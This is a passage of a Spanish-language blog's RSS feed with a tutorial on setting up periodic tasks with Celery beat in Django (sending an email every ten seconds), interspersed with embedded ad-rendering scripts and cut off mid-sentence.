}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/topics/cache/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación de Django sobre caché&lt;/a&gt;&#xA; tiene más detalles para otros casos de uso menos comunes, revísala si necesitas una solución más específica.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Para usar la caché en django, basta con seguir tres sencillos pasos:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Tareas periódicas con Celery y Django</title>
      <link>https://coffeebytes.dev/es/django/tareas-periodicas-con-celery-y-django/</link>
      <pubDate>Tue, 31 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/tareas-periodicas-con-celery-y-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Además de crear tareas asíncronas, celery también permite crear tareas periódicas, que se ejecuten cada cierto tiempo. Esto puede ser bastante útil para darle mantenimiento a la base de datos cada cierto tiempo, enviar emails de marketing o de recuperación de carritos de compra, quizás incluso para vaciar el contenido de alguna cache temporal en la base de datos o cualquier tarea repetitiva en la que el tiempo de ejecución sea un factor importante, es decir para mejorar el rendimiento de una aplicación de django.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalacion-y-configuracion-de-celery-en-django&#34;&gt;Instalación y configuración de Celery en Django&lt;/h2&gt;&#xA;&lt;p&gt;El primer paso es instalar Celery:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;celery==5.1.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De igual manera que con las tareas asíncronas, también necesitamos rabbitmq u otro broker.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install rabbitmq-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;A continuación, en el mismo nivel que nuestro archivo de configuración, vamos a crear un archivo llamado &lt;em&gt;celery.py&lt;/em&gt;, donde crearemos una app de celery y le pasaremos la configuración de django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Celery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DJANGO_SETTINGS_MODULE&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celeryApp.settings&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Celery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celeryApp&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;config_from_object(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.conf:settings&amp;#39;&lt;/span&gt;, namespace&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;CELERY&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;autodiscover_tasks()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si tienes dudas sobre que significa cada linea o para que sirve rabbitmq, por favor visita mi entrada sobre celery y django.&lt;/p&gt;&#xA;&lt;p&gt;También importamos celery en nuestro archivo &lt;em&gt;__init__.py&lt;/em&gt; de nuestro proyecto de django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/__init__.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; app &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; celery_app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;__all__ &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celery_app&amp;#39;&lt;/span&gt;,)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Suena bastante obvio, pero aún así te lo recuerdo; tu aplicación de django debe estarse ejecutando para que celery funcione.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;envio-periodico-de-tareas-con-crontab&#34;&gt;Envío periódico de tareas con crontab&lt;/h2&gt;&#xA;&lt;p&gt;Para este ejemplo vamos a enviar emails de manera periódica. Para conseguirlo, vamos a agregar nuestras tareas periódicas en el archivo que acabamos de crear&lt;/p&gt;&#xA;&lt;p&gt;Primero vamos a definir la función que queremos que se ejecute, en este caso solo enviará un mail, usando la función de django y tomando los datos de sus argumentos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.mail &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; send_mail&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;send_my_email&lt;/span&gt;(subject, message, fromEmail, recipients):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    send_mail(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subject,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        message,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fromEmail,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        recipients,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fail_silently&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;False&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora vamos a establecer la configuración de celery.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.mail &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; send_mail&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.on_after_configure.connect&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;setup_periodic_tasks&lt;/span&gt;(sender, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sender&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_periodic_task(&lt;span style=&#34;color:#ff9f43&#34;&gt;10.0&lt;/span&gt;, send_my_email&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;s(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;from@example.com&amp;#39;&lt;/span&gt;, [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;to@example.com&amp;#39;&lt;/span&gt;]), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Envia email cada 10 segundos&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;send_my_email&lt;/span&gt;(subject, message, fromEmail, recipients):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    send_mail(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subject,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        message,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fromEmail,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        recipients,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fail_silently&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;False&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El decorador &lt;em&gt;@app.on_after_configure&lt;/em&gt; le indica a celery que estas función va a programarse una vez se termine de configurar.&lt;/p&gt;&#xA;&lt;p&gt;Nuestra función va a recibir un mensajero (sender) como parámetro, llamaremos a su método &lt;em&gt;add_periodic_task()&lt;/em&gt; para decirle cada cuanto tiempo queremos que se ejecute nuestra tarea y luego llamaremos al método &lt;em&gt;s()&lt;/em&gt; de la función que definamos.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;add_periodic_task&lt;/em&gt;() recibe como primer argumento el intervalo en segundos que queremos que transcurra entre cada tarea y el segundo es nuestra función ejecutando el método &lt;em&gt;s()&lt;/em&gt; con sus argumentos.&lt;/p&gt;&#xA;&lt;p&gt;Definimos nuestra función y la decoramos con &lt;em&gt;@app.task&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Para que nuestra programación periódica funcione, celery necesita estar ejecutando beat.&lt;/p&gt;&#xA;&lt;h2 id=&#34;beat-en-celery&#34;&gt;beat en celery&lt;/h2&gt;&#xA;&lt;p&gt;¿Qué es Beat? Beat es uno de sus servicios que se encarga de tareas calendarizadas. Beat se encarga de leer y mandarle las tareas calendarizadas a los workers de celery que las ejecutarán.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;A celeryApp beat &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;l info&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/images/CeleryBeatRabbitMQEsquema.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/images/CeleryBeatRabbitMQEsquema.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema simplificado del funcionamiento de celery beat&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esquema de Celery Beat&lt;/p&gt;&#xA;&lt;p&gt;Dado que beat requiere transmitirle sus tareas a un worker, será necesario crear uno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;A celeryApp worker &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;l info&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora celery se encargará de que se envié un email cada 10 